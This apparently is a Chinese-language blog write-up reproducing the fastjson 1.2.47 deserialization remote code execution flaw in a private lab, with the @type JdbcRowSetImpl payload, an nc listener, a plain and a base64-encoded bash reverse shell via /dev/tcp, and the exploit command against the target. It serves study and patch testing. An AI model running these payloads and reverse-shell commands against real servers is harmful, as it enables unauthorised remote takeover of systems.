• fastjson远程代码执行漏洞复现


    漏洞产生原因

    fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行漏洞产生。

    查看fastjson漏洞利用工具的pyload

    payload = """
        {
            "a": {
                "@type": "java.lang.Class", 
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }, 
            "b": {
                "@type": "com.sun.rowset.JdbcRowSetImpl", 
                "dataSourceName": "%s", 
                "autoCommit": true
            }
        }

    漏洞环境

    漏洞主机 kali2020 ip地址:192.168.177.137

    接收反弹shell主机 kali2018 ip地址:192.168.177.128

    运行恶意Java类的主机和含有RMI服务主机 win10物理主机 ip地址:192.168.177.1

    kali2020使用docker搭建fastjson1.2.47漏洞环境

    漏洞复现

    工具下载

    https://github.com/zhzyker/exphub/tree/master/

     kali 2018 监听端口

    nc -lvp 8888

     

     物理机运行RMI服务,加载恶意java类

    bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //转换成可执行代码
    java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

     

    发送反序列化代码漏洞执行命令

    python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object

     无法反弹shell

     查看端口监听情况,反弹shell,都不成功的,在肉鸡上直接执行命令,kali2018直接获取shell:

    sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1

    查看代码发现加载恶意java类时base64编码时源地址写错了,导致代码执行不出去!!!

    修改完以后还是不行,进行web访问fastjson地址发现访问不了(kali显示已启动),进行fastjson环境重启,再次访问web没有问题

     

    再次执行上面命令,成功反弹shell

     

    复测完成记得关闭漏洞环境

    sudo docker-compose down

    漏洞修复

    升级最新版本,具体参见漏洞修复

    参考链接

    https://www.cnblogs.com/renhaoblog/p/13033723.html

    https://www.freebuf.com/vuls/178012.html

    免责声明

    严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

  • 相关阅读:
    LeetCode111 二叉树的最小深度
    LeetCode104 二叉树的最大深度
    LeetCode102 二叉树的层次遍历
    LeetCode94 二叉树的中序遍历
    LeetCode145 二叉树的后序遍历
    LeetCode144 二叉树的前序遍历
    计算机考研真题 最大序列和
    计算机考研真题 对称矩阵
    计算机考研真题 点菜问题
    计算机考研真题 数字反转
  • 原文地址:https://www.cnblogs.com/lijingrong/p/13409579.html
Copyright © 2020-2023  润新知